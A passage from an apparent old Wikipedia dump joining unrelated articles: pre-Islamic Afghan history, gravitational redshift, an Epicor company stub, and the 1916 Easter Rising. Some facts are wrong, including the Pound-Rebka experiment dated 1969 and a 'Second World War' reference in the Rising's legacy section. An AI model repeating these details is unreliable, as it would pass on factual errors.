In the middle of the [[3rd century BCE]], an independent, Hellenistic state was declared in [[Bactria]] and eventually the control of the Seleucids and Mauryans was overthrown in western and southern Afghanistan. [[Graeco-Bactrian]] rule spread until it included a large territory which stretched from northeastern Iran in the west to the [[Ganges River]] in India in the east by about 170 BCE. [[Graeco-Bactrian]] rule was eventually defeated by a combination of internecine disputes that plagued Greek and Hellenized rulers to the west, and overly ambitious attempts to extend control into northern India, as well as the pressure of two groups of nomadic invaders from Central Asia - the [[Parthia|Parthians]] and [[Sakas]] (perhaps a sub-group of the Iranian [[Scythians]]).

== The Kushan Empire, ca. [[150 BCE]] - [[300]] [[Common Era|CE]] ==
[[Image: Heraios.jpg|thumb|300px|right|Silver tetradrachm of Kushan king [[Heraios]] ([[1]]&amp;ndash;[[30]]&amp;nbsp;CE) in [[Greco-Bactrian]] style, with horseman crowned by the Greek goddess of victory [[Nike (mythology)|Nike]]. &lt;br&gt;Greek legend: ΤVΡΑΝΝΟVΟΤΟ&amp;#931; ΗΛΟV - &amp;#931;&amp;#923;Ν&amp;#923;Β - ΚΟÞÞΑΝΟΥ &quot;Of the [[Tyrant]] Heraios, Sanav, the Kushan&quot; (the meaning of &quot;Sanav&quot; is unknown).]]
In the [[3rd century BC|third]] and [[2nd century BC|second centuries BC]], the [[Parthians]], a nomadic [[Iranian people]], arrived in ancient Afghanistan. The Parthians established control in most of what is [[Iran]] as early as the middle of the [[3rd century BC]]; about 100 years later another Indo-European group from the north - the [[Tocharian]] [[Kushan|Kushans]] (a subgroup of the tribe called the [[Yuezhi]] by the [[China|Chinese]]) - entered the region that is now [[Afghanistan]] and established an empire lasting almost four centuries.

The [[Kushan Empire]] spread from the [[Kabul River]] valley to defeat other [[Central Asia|Central Asian]] tribes that had previously conquered parts of the northern central Iranian Plateau once ruled by the Parthians. By the middle of the [[1st century BCE]], the Kushans' base of control became Afghanistan and their empire spanned from the north of the [[Pamirs|Pamir mountains]] to the [[Ganges|Ganges river valley]] in India. Early in the [[2nd century]] under [[Kanishka]], the most powerful of the Kushan rulers, the empire reached its greatest geographic and cultural breadth to become a center of literature and art. Kanishka extended Kushan control to the mouth of the Indus River on the [[Arabian Sea]], into [[Kashmir]], and into what is today the Chinese-controlled area north of [[Tibet]]. Kanishka was a patron of religion and the arts. It was during his reign that [[Mahayana]] Buddhism, imported to northern [[India]] earlier by the [[Mauryan dynasty|Mauryan]] emperor [[Ashoka]] (ca. [[260 BCE]] - [[232 BCE]]), reached its zenith in Central Asia. Though the Kushanas were predominantly Zoroastrian themselves, they also supported local Buddhists and Hindus as well as the worshop of various local deities.

== Sassanian Rule, ca. [[300]] - [[650]] ==
[[Image:Shapur i.jpg|thumb|200px|A coin depicting [[Shapur I]] who conquered ancient Afghanistan]]
In the [[3rd century]], Kushan control fragmented into semi-independent kingdoms that became easy targets for conquest by the rising Iranian dynasty, the [[Sassanid dynasty|Sassanians]] (ca. [[224]] - [[561]]) which annexed Afghanistan by 300 CE. Sassanian control was tenuous at times as numerous challenges from Central Asian tribes led to instability and constant warfare in the region.

The disunited Kushan and Sassanian kingdoms were in a poor position to meet the threat of a new wave of nomadic, Indo-European invaders from the north. The [[Hepthalite|Hepthalites]] (or White Huns) swept out of Central Asia around the fourth century into [[Bactria]] and to the south, overwhelming the last of the Kushan and Sassanian kingdoms. Some have speculated that the name ''Afghanistan'' derives from the name of the defeated Hepthalite king, [[Faganish]].
Historians believe that Hepthalite control continued for a century and was marked by constant warfare with the Sassanians to the west who exerted nominal control over the region.

By the middle of the sixth century the Hepthalites were defeated in the territories north of the [[Amu Darya]] (the Oxus River of antiquity) by another group of Central Asian nomads, the [[Gokturks]], and by the resurgent Sassanians in the lands south of the Amu Darya. It was the ruler of western Gokturks, [[Sijin]] (aka Sinjibu, Silzibul and Yandu Muchu Khan) who led the forces against the Hepthalites who were defeated at the [[Battle of Chach]] ([[Tashkent]]) and at the [[Battle of Bukhara]].

== The Shahi Kings, ca. [[650]] - [[1013]] ==
[[Image:SpalapatiDeva.jpg|thumb|200px|Coin of the Shahi king Spalapati Deva, circa 750-900.&lt;br&gt;
'''Obv:''' Bull, symbol of [[Shiva]].
'''Rev:''' King mounted on a horse.]]

Up until the advent of [[Islam]], most of Afghanistan was dominated mainly by the Sassanians and local vassals who were Kushans or Hepthalites. However, for nearly four centuries, large parts of eastern Afghanistan around the Kabul Valley were ruled by the [[Indo-Iranian]] Hindu [[Shahi]] kings. When [[Xuanzang|Hsüan-tsang]] visited the region early in the 7th century CE, the Kabul valley region was ruled by a Kshatriya king, who is identified as the Shahi Khingal, and whose name has been found in an inscription found in [[Gardez]]. 

The Shahi kings of Kabul and Gandhara may have had links to some ruling families in neighboring  [[Kashmir]] and other areas to the east. The Shahis, though Hindu, were rulers of a predominantly Buddhist and Zoroastrian population and were thus patrons of numerous faiths, and various artifacts and coins from their rule have been found that display their multicultural domain. The Last Shahi rulers Jayapal, Anandapal and Trilochanpal fought invading Muslim Turks from Central Asia and were gradually defeated. They then retreated to the Punjab and Kashmir.

== Archaeological remnants from Afghanistan's pre-Islamic period ==
[[Image:GBA8.jpg|thumb|right|100px|One of the Buddhas of Bamiyan]]
Most of these early Zoroastrian, Greek, Hellenistic, Buddhist, and Hindu cultures were wiped out by the coming of Islam and little influence remains in Afghanistan today. Along ancient trade routes, however, stone monuments of the once flourishing Buddhist culture did exist as reminders of the past. The two massive sandstone [[Buddhas of Bamiyan]], thirty-five and fifty-three meters high overlooked the ancient route through [[Bamiyan]] to [[Balkh]] and dated from the [[3rd century|third]] and [[5th century|fifth centuries]].  They survived until [[2001]], when they were destroyed by the [[Taliban]]. In this and other key places in Afghanistan, [[archeology|archaeologists]] have located [[fresco]]es, [[stucco]] decorations, statuary, and rare objects from as far away as [[China]], [[Phoenicia]], and [[Rome]], which were crafted as early as the [[2nd century]] and bear witness to the influence of these ancient civilizations upon Afghanistan.

==References==
* [http://lcweb2.loc.gov/frd/cs/aftoc.html Afghanistan: A Country Study, US Library of Congress]
* Ahmed, Akbar S. 1980. Pukhtun economy and society. London: Routledge and Kegan 
Paul.
* Bryant, Edwin. 'The Quest for the Origins of Vedic Culture: The Indo-Aryan Migration Debate' (Oxford: Oxford University Press, 2003). 
* Dupree, Louis. 'Afghanistan' (Oxford: Oxford University Press, 1997).
* [http://www.amazon.com/gp/product/0060505087 Ewans, Martin. Afghanistan : A Short History of Its People and Politics, Harper Perennial; 1st Perennial ed edition (September 1, 2002)]
* Harmatta, János, ed., 1994. ''History of civilizations of Central Asia, Volume II. The development of sedentary and nomadic civilizations: 700 B.C. to A.D. 250''.  Paris, UNESCO Publishing. 
* Hill, John E. 2004. ''The Western Regions according to the Hou Hanshu.'' Draft annotated English translation.[http://depts.washington.edu/uwch/silkroad/texts/hhshu/hou_han_shu.html]
* Hill, John E. 2004. ''The Peoples of the West from the Weilue'' 魏略 ''by Yu Huan'' 魚豢'': A Third Century Chinese Account Composed between 239 and 265 CE.'' Draft annotated English translation. [http://depts.washington.edu/uwch/silkroad/texts/weilue/weilue.html]
* [http://www.amazon.com/gp/product/0520211405 Holt, Frank L. Thundering Zeus: The Making of Hellenistic Bactria, University of California Press (March, 1999)]
* [http://www.amazon.com/gp/product/1400031427 Kriwaczek, Paul. In Search of Zarathustra : Across Iran and Central Asia to Find the World's First Prophet, Vintage (March 9, 2004)]  
* Litvinsky, B. A., ed., 1996. ''History of civilizations of Central Asia, Volume III. The crossroads of civilizations: A.D. 250 to 750''.  Paris, UNESCO Publishing.  
* [http://www.amazon.com/gp/product/0226627772 Olmstead, A.T. History of the Persian Empire, University Of Chicago Press (February 15, 1959)]  
* Reat, Ross. 'Buddhism: A History', (Jain Publishing Company, 1996). 
* [http://www.amazon.com/gp/product/0405065671 Rowland, Benjamin, Jr. Ancient Art from Afghanistan: Treasures of the Kabul Museum, Ayer Co Pub (October, 1981)]
* Sarianidi, Victor. 1985. ''The Golden Hoard of Bactria: From the Tillya-tepe Excavations in Northern Afghanistan''. Harry N. Abrams, New York.
* [http://www.umich.edu/~aos/abs974.htm Shayegan, Rahim. The Avesta and the Bactria-Margiana Archaeological Complex]
* [http://www.people.fas.harvard.edu/~witzel/EJVS-7-3.pdf Witzel, Michael. Autochthonous Aryans? The Evidence from Old Indian and Iranian Texts]

==External links and References==
* [http://www.cais-soas.com/articles/iranian_world_articles.htm#2.%20Afghanistan The Circle of Ancient Iranian Studies-Iranian World's Geography (The Archaeological &amp; Historical Geography of the Greater Iran)]
* [http://www.cais-soas.com/CAIS/Languages/avestan/avestan_language.htm The Circle of Ancient Iranian Studies-Avestan Language]
* [http://i-cias.com/e.o/avesta.htm Encyclopaedia of the Orient-Avesta]
* [http://www.afghan-web.com/history/chron/index.html Afghanistan Online]
* [http://www.afghanistans.com/Information/History/Default.htm Afghanistan History]
* [http://www.bbc.co.uk/history/war/sept_11/afghan_culture_01.shtml BBC History of Afghanistan]
* [http://www.loc.gov/rr/international/amed/afghanistan/resources/afghanistan-history.html Portals to the World: Resources from the Library of Congress on Afghanistan]
* [http://www.afghanan.net/afghanistan/history.htm Afghanan Dot Net: Afghanistan History]
* [http://www.countriesquest.com/asia/afghanistan/history.htm Afghanistan, History]
* [http://www.apaa.info/ Association for the Protection of Afghan Archaeology]
* [http://www.afghan-web.com/kabul-museum/ Kabul Virtual Museum]
* [http://www.bbc.co.uk/religion/religions/zoroastrian/history/index.shtml BBC History of Zoroastrianism]
* [http://www.britannica.com/eb/article-21383 Encyclopedia Brittanica: The Kushans (from Afghanistan)]
* [http://www.farhangsara.com/history_medes.htm Medes]
* [http://folk.uio.no/atleom/manuscripts.htm Buddhist Manuscripts from ancient Afghanistan]
* [http://www.payvand.com/news/05/mar/1109.html Payvand's Iran News, Iran, Afghanistan &amp; Tajikistan Cooperate to Restore Achaemenid Relics, 3/14/05]
* [http://www.afghansite.com/afghanistan/afghanistan.asp?File=21 'Bilingual rock inscriptions in Greek and Aramaic (the official language of the Achaemenians) found at Qandahar and Laghman (in eastern Afghanistan) date from the reign of Ashoka (c. 265-238 BC, or c. 273-232 BC)', Afghansite.com, The Achaemenians and the Greeks]
* [http://www.med.unc.edu/~nupam/greek1.html Indo-Greek Coins]
* [http://www.med.unc.edu/~nupam/kushan1.html Kushan Coins]
* [http://www.indianexpress.com/ie/daily/20010105/iin05014.html Sanskrit inscription from Mazar-i-Sharif]

[[Category:History of Afghanistan]]
[[Category:History of Pakistan]]

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[[Image:gravitational redshift neutron star.jpg|thumb|Graphic representing the gravitational redshift of a [[neutron star]] (not exact)]]

In [[physics]], [[light]] loses [[energy]] when it moves away from a massive body such as a star or a black hole. This effect reveals itself as a '''[[gravitation]]al [[redshift]]''' in the frequency of the light, and is observable as a shift of spectral lines towards the red end of the spectrum. 

Light coming from a region of weaker gravity shows a gravitational [[blueshift]].

==Definition==

Background knowledge the reader may need to learn:
What is [[wavelength]]?
What is [[frequency]]?  What is the [[electromagnetic spectrum]]?

Gravitational redshift is often denoted as the variable ''z''.

&lt;math&gt;z=\frac{\lambda_o-\lambda_e}{\lambda_e}&lt;/math&gt;

Where:

&lt;math&gt;\lambda_o&lt;/math&gt; is the wavelength of the photon as measured by a distant observer.
&lt;math&gt;\lambda_e&lt;/math&gt; is the wavelength of the photon when measured at the source of emission.

Gravitational redshift, the displacement of light towards the red, can be predicted using the formula provided in the theory of [[General Relativity]] ''(Albert Einstein: Relativity - Appendix - Appendix III - The Experimental Confirmation of the General Theory of Relativity)'':

&lt;math&gt;z_{approx}=\frac{GM}{c^2r}&lt;/math&gt;

Where:

&lt;math&gt;z_{approx}&lt;/math&gt; is the displacement of spectral lines due to gravity as viewed by a far away observer in free space.
&lt;math&gt;G&lt;/math&gt; is Netwon's [[gravitational constant]] (the variable used by Einstein himself).
&lt;math&gt;M&lt;/math&gt; is the mass of the body which the light is escaping.
&lt;math&gt;c&lt;/math&gt; is the speed of light.
&lt;math&gt;r&lt;/math&gt; is the radial distance from the center from which the light originates.

==History==
The gravitational weakening of light from high-gravity stars was predicted by [[John Michell]] in 1783, using [[Isaac Newton]]'s concept of light as being composed of ballistic light corpuscles (see: [[emission theory]]). The effect of gravity on light was then explored by [[Laplace]] and [[Johann Georg von Soldner]] (1801) before [[Albert Einstein|Einstein]] rederived the idea from scratch in his 1911 paper on light and gravitation. 

Einstein was accused by [[Lenard]] of plagiarism for not citing Soldner's earlier work - however, given that the idea had fallen so far into obscurity before Einstein resurrected it, it is entirely possible that Einstein was unaware of all previous work on the subject. In any case, Einstein went further and pointed out that a key consequence of gravitational shifts was [[gravitational time dilation]]. This was a genuinely new and revolutionary idea. 

==Important things to stress==

*The receiving end of the light transmission must be located at a higher gravitational potential in order for gravitational redshift to be observed.

*Tests done by many universities continue to support the existence of gravitational redshift.

*Gravitational redshift is not only predicted by General Relativity.  Other theories of gravitation support gravitational redshift, although their explanations for why it appears vary.

*Gravitational redshift does not assume the [[Schwarzschild]] solution to [[Einstein's field equation]] - in which the variable &lt;math&gt;M&lt;/math&gt; cannot represent the mass of any rotating or charged body.

==Initial verification==

The [[Pound-Rebka experiment]] of 1969 demonstrated the existence of gravitational redshift in spectral lines.  This was documented by scientists of the Lyman Laboratory of Physics at Harvard University.

==Application==

Gravitational redshift is studied in many areas of [[astrophysics|astrophysical]] research.

==Exact Solutions==

A table of exact solutions for gravitational redshift consists of the following:

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
| 
| Non-rotating
| Rotating
|- 
| Uncharged
| [[Schwarzschild metric|Schwarzschild]]
| [[Kerr metric|Kerr]]
|-
| Charged
| [[Reissner-Nordström metric|Reissner-Nordström]]
| [[Kerr-Newman metric|Kerr-Newman]] 
|}

The more often used exact solution is for gravitational redshift of non-rotating, uncharged masses which are spherically symmetric.  The equation for this is:

&lt;math&gt;z=\frac{1}{\sqrt{1-\left(\frac{2GM}{rc^2}\right)}}-1&lt;/math&gt;, where

* &lt;math&gt;G&lt;/math&gt; is the [[gravitational constant]],
* &lt;math&gt;M&lt;/math&gt; is the [[mass]] of the object creating the gravitational field,
* &lt;math&gt;r&lt;/math&gt; is the radial coordinate of the observer (which is analogous to the classical distance from the center of the object, but is actually a [[Schwarzschild coordinates|Schwarzschild coordinate]]), and
* &lt;math&gt;c&lt;/math&gt; is the [[speed of light]].

==Gravitational Redshift vs. Gravitational Time Dilation==

When using ''[[special relativity]]'s [[relativistic Doppler]] relationships'' to calculate the change in energy and frequency (assuming no complicating [[route-dependent]] effects such as those caused by the [[frame-dragging]] of [[rotating black hole|rotating black holes]]), then the Gravitational redshift and [[blueshift]] frequency ratios are the inverse of each other, suggesting that the &quot;seen&quot; frequency-change corresponds to the [[gravitational time dilation|actual difference in underlying clockrate]].  Route-dependence due to [[frame-dragging]] ''may'' come into play, which invalidates this method and makes establishing globally-agreed differences in ''underlying'' clockrate can be more ''difficult'' though not necessarily impossible.

While gravitational redshift refers to what is seen, [[gravitational time dilation]] refers to what is deduced to be &quot;really&quot; happening once observational effects are taken into account.

==General Relativity for experts==

Readers who are experts or students of GR may be interested in the [[null geodesic]] article  and an article about [[exact solutions in general relativity]].

==Primary Sources==

Einstein, Albert. &quot;Relativity : the Special and General Theory.&quot; &lt;u&gt;Project Gutenberg&lt;/u&gt;. &lt;http://www.gutenberg.org/etext/5001.&gt;

[[Category:Albert Einstein]]
[[Category:Effects of gravitation]]


[[et:Gravitatsiooniline punanihe]]
[[zh:重力紅移]]

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  <page>
    <title>Educational choice</title>
    <id>10348</id>
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      <text xml:space="preserve">#REDIRECT [[School choice]]
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  </page>
  <page>
    <title>Epicor</title>
    <id>10349</id>
    <revision>
      <id>40534412</id>
      <timestamp>2006-02-21T06:42:27Z</timestamp>
      <contributor>
        <username>TPO-bot</username>
        <id>725128</id>
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      <minor />
      <comment>Robot: Changing template: ict-corp-stub</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = Epicor Software Corporation |
  company_logo   = NA |
  company_type   = Public ([[NASDAQ]]: [http://quotes.nasdaq.com/asp/SummaryQuote.asp?symbol=EPIC&amp;selected=EPIC EPIC]) |
  foundation     = ??? ([[1984]]) |
  location       = [[Irvine, California]] |
  key_people =  L. George Klaus &lt;small&gt;(Chairman, President, CEO)&lt;/small&gt; |
  industry = [[Computer software]] |
  products =  [[Enterprise resource planning|ERP]] |
  num_employees = 1,550 |
  revenue = ??? $226,000,000 [[United States dollar|USD]] (2004) |
  homepage = [http://www.epicor.com www.epicor.com]
}}
'''Epicor''' {{nasdaq|EPIC}} markets a range of enterprise [[software]] products targeted at mid-sized companies. It has its headquarters in [[Irvine, California]] and was founded in [[1984]] as Platinum Software.

In 1999 they [[acquisition|acquired]] Clientele, Inc. and are now selling their Clientele CRM package.

==External links==
* http://www.epicor.com


{{ict-company-stub}}
[[Category:Software companies]]
[[Category:Computer companies of the United States]]
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  <page>
    <title>Easter Rising</title>
    <id>10350</id>
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      <id>41764983</id>
      <timestamp>2006-03-01T16:08:26Z</timestamp>
      <contributor>
        <username>Jdorney</username>
        <id>184223</id>
      </contributor>
      <comment>/* External links */ fn</comment>
      <text xml:space="preserve">{{Easter Proclamation}}
The '''Easter Rising''' ([[Irish language|Irish]]: ''Éirí Amach na Cásca'') was a militarily unsuccessful rebellion staged in [[Ireland]] against [[United Kingdom|British]] rule on [[Easter]] Monday in April [[1916]]. Nevertheless, despite its military failure, it can be judged as being a significant stepping-stone in the eventual creation of the Irish Republic.

The rebellion was the most significant since the rising of 1798 (lead by the father of Irish Republicanism, Theobald Wolfe Tone and the United Irishmen). It was an attempt by militant [[Irish republicanism|republicans]] to violently force independence from the [[United Kingdom of Great Britain and Ireland|United Kingdom]]. The [[Ireland|Irish]] Republican revolutionary attempt occurred from [[April 24]] to [[April 30]], [[1916]], in which a part of the [[Irish Volunteers]] led by school teacher and [[barrister]] [[Pádraig Pearse]] and the smaller [[Irish Citizen Army]] of [[James Connolly (nationalist)|James Connolly]] seized key locations in [[Dublin]] and proclaimed an [[Irish Republic]] independent of [[Britain]]. The Rising was suppressed and its leaders executed. 

The event is seen as a key turning point on the road to Irish independence (however, this can only be the case once one aknowledges the importance of the summary executions) , as it marked a split between physical-force  [[republicanism]] and mainstream non-violent [[Irish Nationalism|nationalism]] represented by the [[Irish Parliamentary Party]] under [[John Redmond]]. Redmond, through democratic parliamentary politics had won an initial stage of Irish self-government within the United Kingdom, granted through the Third [[Home Rule Act 1914]]. This Act, limited by the fact that it [[Partition of Ireland|partitioned]] Ireland into [[Northern Ireland]] and &quot;[[Southern Ireland]]&quot;, was placed on the statute books in September 1914, but suspended for the duration of [[World War I]]. It ultimately became enacted under the [[Government of Ireland Act, 1920]].

However, by then Irish nationalism was dominated by militant Republican politics that had been espoused by the Easter 1916 rebels. The only surviving leader of the uprising (Eamon de Valera) went on to organise the [[Irish War of Independence]] from 1919-1921 which resulted in the [[Anglo-Irish Treaty]] of 1921 and independence for 26 of Ireland's 32 counties. The executed leaders of the Easter Rising are venerated in the [[Irish Republican]] tradition as [[martyrs]] and as founders of the [[Irish Republic]].

==Planning the Rising==
While the Easter Rising was for the most part carried out by the Irish Volunteers, it was planned by the [[Irish Republican Brotherhood]] (IRB). Shortly after the outbreak of World War I on [[August 4]], [[1914]], the Supreme Council of the IRB met and, under the old dictum that &quot;England's difficulty is Ireland's opportunity&quot;, decided to take action sometime before the conclusion of the war. To this end, the IRB's treasurer, [[Tom Clarke (Irish republican)|Tom Clarke]] formed a Military Committee to plan the rising, initially consisting of Pearse, [[Eamonn Ceannt]], and [[Joseph Plunkett]], with himself and [[Sean MacDermott]] added shortly thereafter. All of these were members of both the IRB, and (with the exception of Clarke) the Irish Volunteers. Since its inception in 1913, they had [[entryism|surreptitiously hijacked]] the Volunteers, and had fellow IRB members elevated to officer rank whenever possible, hence by 1916 a large portion of Volunteer leadership were devoted republicans in favor of physical force. A notable exception was the founder and Chief-of-Staff [[Eoin MacNeill]], who was determined to use the Volunteers as a bargaining tool with Britain following World War I, and who was certainly opposed to any rebellion that stood little chance of success. Nevertheless, the IRB hoped to either win him over to their side (through deceit if necessary) or bypass his command altogether. They had little success with either plan.

The plan encountered its first major hurdle when James Connolly, head of the [[Irish Citizen Army]], a group of armed [[socialist]] [[labor union]] men, completely unaware of the IRB's plans, threatened to initiate a rebellion on their own if other parties refused to act. As the ICA was barely 200 strong, any action they might take would result in a fiasco, and spoil the chance of a potentially successful rising by the Volunteers. Thus the IRB leaders met with Connolly and convinced him to join forces with them. They agreed to act together the following Easter.

In an effort to thwart informers, and, indeed, the Volunteers' own leader, early in April Pearse issued orders for 3 days of &quot;parades and manoeuvres&quot; by the Volunteers for Easter Sunday (which he had the authority to do, as Director of Organization). The idea was that the true republicans with the organization (particularly IRB members) would know exactly what this meant, while men such as MacNeill and the British authorities in [[Dublin Castle]] would take it at face value. Of course this was too much to hope for, and MacNeill soon got wind of what was afoot and threatened to &quot;do everything possible short of phoning Dublin Castle&quot; to prevent the rising. Although he was briefly convinced to go along with some sort of action when MacDermott revealed to him that a shipment of German arms was about to land in [[County Kerry]], planned by the IRB in conjunction with Sir [[Roger Casement]] (who ironically had just landed in Ireland in an effort to ''stop'' the rising), the following day MacNeill reverted to his original position when he found out the shipment was scuttled. With the aid of his cohorts of like mind, notably [[Bulmer Hobson]] and [[The O'Rahilly]], he issued a countermand to all Volunteers, canceling all actions for Sunday. This only succeeded in putting the rising off for a day, although it greatly reduced the number of men who turned out.

==The Rising==
The plan, largely devised by Plunkett (and apparently very similar to a plan worked out independently by Connolly), was to seize strategic buildings throughout Dublin in order to cordon off the city, and resist the inevitable attack by the British army. If successful, the plan would have left the rebels holding a compact area of central Dublin, roughly bounded by the canals and the circular roads. However, this would have required more men than the 1250 or so who were actually mobilized. As a result, the rebels left several key points within the city, notably [[Dublin Castle]] and [[Trinity College, Dublin|Trinity College]], in British hands, meaning that their own forces were separated from each other. This in effect doomed the rebel positions to be isolated and taken one after the other.

The Volunteer's Dublin division had been organized into 4 battalions, each under a commandant who the IRB made sure were loyal to them. A makeshift 5th battalion was put together from parts of the others, and with the aid of the ICA. This was the battalion of the headquarters at the [[General Post Office (Dublin)|General Post Office]], and included the President and [[Commander-in-Chief]], Pearse, the commander of the Dublin division, Connolly, as well as Clarke, MacDermott, Plunkett, and a young captain named [[Michael Collins (Irish leader)|Michael Collins]]. Meanwhile the 1st battalion under Commandant [[Ned Daly]] seized the [[Four Courts]] and areas to the northwest, the 2nd battalion under [[Thomas MacDonagh]] established itself at Jacob's Biscuit Factory, south of city center, in the east Commandant [[Eamon de Valera]] commanded the 3rd battalion at Boland's Bakery, and Ceannt's 4th battalion took the workhouse known as the South Dublin Union to the southwest. Members of the ICA also commandeered [[St. Stephen's Green]] and Dublin's [[City Hall]]. The breakdown of law and order that accompanied the rebellion was marked by widespread looting, as Dublin's slum population ransacked the city's shops. Ideological tensions came to the fore when a Volunteer officer gave an order to shoot looters, only to be angrily countermanded by James Connolly.

As MacNeill's countermand basically prevented all areas outside of Dublin from rising, the command of all active rebels fell under Connolly, who some say had the best tactical mind of the group. After being badly wounded, Connolly was still able to command by having himself moved around on a bed. (Although he had the dubious achievement of insisting that a [[capitalist]] government would never use artillery against their own property. It took the British less than 48 hours to prove him wrong.) The British commander, General Lowe, worked slowly, unsure of how many he was up against, and with only 1200 troops in the city. Lowe declared [[martial law]] and the British forces put their efforts into securing the approaches to Dublin Castle and isolating the headquarters at the GPO. Their main firepower was provided by the [[gunboat]] ''Helga'' and field artillery summoned from their garrison at [[Athlone]], positioned on the northside of the city at Prussia street, [[Phibsborough]] and Cabra road. These guns shelled large parts of the city throughout the week and burned much of it down. (The first building shelled was [[Liberty Hall]], which ironically had been abandoned since the beginning of the Rising.) Interestingly the Helga's guns had to stop firing as the elevation necessary to fire over the railway bridge meant that her shells were endangering the Vice-regal Lodge in Phoenix Park, (''Helga'' was later Given to the Government of the [[Irish Free State]] and was the first ship in its Navy)

Reinforcements were rushed to Dublin from England, along with a new commander, General Maxwell. Outnumbering the rebels with approximately 4500 British troops and 1000 [[Royal Irish Constabulary|RIC]] (the Volunteers are estimated at about 1000 and the ICA at under 250), they bypassed many of the defences, and isolated others to the extent that by the end of the week the only order they were able to receive was the order to surrender. The headquarters itself saw little real action. The heaviest fighting occurred at the rebel held positions around the [[Grand Canal]], which the British seemed to think they had to take to bring up troops who had landed in [[Dún Laoghaire]] port. The rebels held only a few of the bridges across the canal and the British might have availed themselves of any of the others and isolated the positions. In particular, the [[Sherwood Foresters]] regiment were repeatedly caught in a cross-fire trying to cross the canal at Mount Street. They suffered 240 killed and wounded. The rebel position at the South Dublin Union, further west along the canal, also inflicted heavy losses on British troops trying to advance towards Dublin Castle. [[Cathal Brugha]], a rebel officer distinguished himself in this action and was badly wounded. Shell fire and shortage of ammunition eventually forced the rebels to abandon these positions before the end of the week. The rebel position at [[St Stephen's Green]], held by the Citizen Army under [[Michael Mallin]], was made untenable after the British placed snipers and machine guns in the surrounding buildings. As a result, Mallin's men retreated to the [[Royal College of Surgeons]] building, where they held out until they received orders to surrender. 

The volunteers' headquarters' most noteworthy moment was when Pearse read the [[Easter Proclamation|Proclamation of the Republic]] to a largely indifferent crowd outside the GPO. After that the rebels barricaded themselves within the post office and were soon shelled from afar, unable to return effective fire, until they were forced to abandon their headquarters when their position became untenable. On Saturday, [[April 29]], from the new headquarters on Moore Street, after realizing that all that could be achieved was further death, Pearse issued an order for all companies to surrender.

The rebels had little public support at the time, and were largely blamed for hundreds of people being killed and wounded, (mostly civilians caught in the crossfire). The total casualties for the weeks fighting came to over 1200. Sixty four rebel volunteers were killed and 16 more were executed after the  Rising. The [[British Army]] suffered 140 killed and 318 wounded. The police ([[RIC]] and [[DMP]], suffered 17 deaths. At least 220 civilians were killed and 600 wounded. There may have been further civilian casualties which were never reported to the authorities.  The only leader of the rising to die in the course of the hostilities themselves was [[The O'Rahilly]].

Some 3430 suspects were arrested and 15 leaders (including all seven signatories of the independence proclamation) were executed ([[May 3]]&amp;ndash;[[May 12|12]]). Among them was the already mortally wounded Connolly, shot while tied to a chair because he was unable to stand. At the time the executions were demanded in motions passed in Irish local authorities and by many newspapers, including the [[Irish Independent]] in an editorial. A total of 1480 people were interned after the Rising. Prisoners being transported to internment camps in [[Wales]] were jeered and spat upon by angry Dubliners.

===The Rising outside Dublin===
Irish Volunteer units turned out for the Rising in several places outside of Dublin, but due to Eoin McNeil's countermanding order, most of them returned home without fighting. Several companies were mobilised in [[Tyrone]] and 132 men on the [[Falls Road]] in [[Belfast]]. [[Liam Mellows]] led an abortive attack on Police station in [[Galway]] which was soon abandoned. [[Sean MacEntee]] and [[Louth]] Volunteers killed a policeman and a prison guard. In [[county Wexford]], the Volunteers took over [[Enniscorthy]] from Tuesday until Friday, before symbolically surrendering to the British Army at Vinegar Hill - site of a famous battle during the [[Irish Rebellion of 1798]]. Around 1000 Volunteers mustered in [[Cork]] on Easter Sunday, but they dispersed after receiving contradictory orders from Dublin.Only at [[Ashbourne]] in [[Meath]] was there real fighting, when Volunteers ambushed a police patrol, killing 8 and wounding 15.

==Infiltrating Sinn Féin==
The executions marked the beginning in a change in Irish opinion, much of which had until now seen the rebels as irresponsible adventurists whose actions were likely to harm the nationalist cause. As freed detainees reorganised the Republican forces, nationalist sentiment slowly began to swing behind the hitherto small monarchist [[Sinn Féin]] party, ironically not itself involved in the uprising, but which the British government and Irish media wrongly blamed for being behind the Rising. The surviving Rising leaders, under Eamon de Valera, infiltrated Sinn Féin and deposed its previous monarchist leadership under [[Arthur Griffith]], who had founded the party in 1905 to campaign for an [[Anglo-Irish]] dual [[monarchy]]. Sinn Féin and the [[Irish Parliamentary Party]] under [[John Redmond]] fought a series of inconclusive battles, with each winning [[by-elections]], until the [[Conscription Crisis of 1918 (Ireland)|Conscription Crisis of 1918]] (when Britain tried to force conscription on Ireland) swung public opinion behind Sinn Féin.

&quot;What if the British had been lenient to the Irish rebel leaders?&quot; is a question that still lends itself to lively debate [[fn|1]].

==1918 General Election==
The [[Irish (UK) general election, 1918|general elections]] to the [[British Parliament]] in December 1918 resulted in a Sinn Féin landslide in Ireland (many seats were uncontested), most of whose MPs gathered in Dublin to proclaim the [[Irish Republic]] ([[January 21]], [[1919]]) under the [[President of Dáil Éireann]], Eamon de Valera, who had escaped execution in 1916 through luck. (His physical location away from the other prisoners prevented his immediate execution, while his American citizenship led to a delay while the legal situation was clarified. By the time a decision was taken to execute him, and his name had risen to the top of the executions list, ''all'' executions had been halted.)

==Legacy of the Rising==
Critics of the Rising have pointed to the fact that the Rising is generally seen as having been doomed to military defeat from the outset, and to have been understood as such by at least some of its leaders.  Such critics have therefore seen in it elements of a &quot;blood sacrifice&quot; in line with some of the romantically-inclined Pearse's writings. Though the violent precursor to Irish statehood, it did nothing to reassure Irish unionists nor alleviate the demand to partition [[Ulster]]. 

Nationalist views of the Rising have stressed the role of the Rising in stimulating latent sentiment towards Irish independence.  On this view the momentous events of 1918-22 are directly attributable to the revitalisation of the nationalist consciousness as a result of the Rising and its immediate aftermath.  

The theory has also been mooted that the Rising would have given the Irish Republic a role in a peace conference following an anticipated German victory in the Second World War.

Historians generally date Irish independence (for the 26 counties) from 1 April 1922 (transfer of executive power under the 1921 [[Anglo-Irish Treaty]], signed between Irish delegates and the British government after the [[Anglo-Irish War]], forming the [[Irish Free State]]) and 6 December 1922 (transfer of legislative power) rather than from the 1916 Rising.  The Irish Free State existed until 1937 when Bunreacht na hÉireann (the Irish constitution) was introduced, renaming the country &quot;Ireland&quot;. At this stage Ireland was a Republic in everything but name. In 1949 the [[Oireachtas]] declared Ireland to be a Republic.

